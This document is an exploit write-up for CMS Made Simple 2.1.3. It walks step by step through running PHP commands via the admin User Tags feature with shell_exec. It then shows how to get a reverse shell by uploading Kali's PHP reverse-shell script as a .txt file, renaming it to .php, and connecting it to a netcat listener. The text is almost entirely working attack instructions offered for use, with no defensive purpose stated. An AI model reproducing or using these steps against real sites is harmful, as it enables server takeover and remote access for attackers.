
Author : Raed Ahsan
Creation date : 27/09/2021
Platform : CmsMadeSimple
Version : 2.1.3
Type : Exploit

[+]Exploit Starts here.

[+] PHP Code Execution:

1) In the User tags section, rename the name of the tag to anything you desire and replace the pre written code in the code section with this php code:
<?php echo shell_exec("whoami"); ?>

2) Click on the Apply button and finally, click Run
3) You will be prompted with an Alert, accept it and the code will get executed.
4) You will be promted with the result of the command in the code that you ran, which in our case is "whoami".

←——--——→

Would you like to have a reverse_shell?
Here is the process for it:
[+] Reverse_shell for CMSmadeSimple.

1) First of all, you need to navigate to the File "Manager" Section.There, you will get the list of all the directories and files that are contained in the current working directory or you can also navigate through the directories which will show you the files contained in them too.

2) By default, there is a section in Kali Linux called the /usr/share/webshells/php/php-reverse-shell.php

3) You need to edit this file according to your IP and PORT and finally, don't forget to copy[cp] this file to .txt format, like this:

sudo cp /usr/share/webshells/php/php-reverse-shell.php /Your/Working/Directory/php-rev.txt

4) Go for the uploading of this .txt file from the File Manager section of the CMS

and choose the php-rev.txt file for uploading it. Make sure that you upload it in the uploads/images directory.

5) Once uploaded, visit back to the User Tags sections and replace the previously written code with this:

```
<?php echo shell_exec("mv uploads/images/php-rev.txt upload/images/shell.php");
?>
```

6) As you can see that when we move the .txt file, we rename it to shell.php. You can give any name to the file but be sure to change the extension of the "moved" file to .php from .txt.

7) Click Apply, and finally, Run the code.

8) This code won't give any results but the command in the code has successfully been executed.

9) Next step, open up the netcat[nc] listener on the port which you specified in the php-rev.txt file.

10) Once the listener is started, visit the page and the file for the revshell. Like this: http://cmsmadesimple/uploads/images/shell.php

11) this will get executed and you will eventually have your ReverseShell.

```
[+] End Of Exploit.
```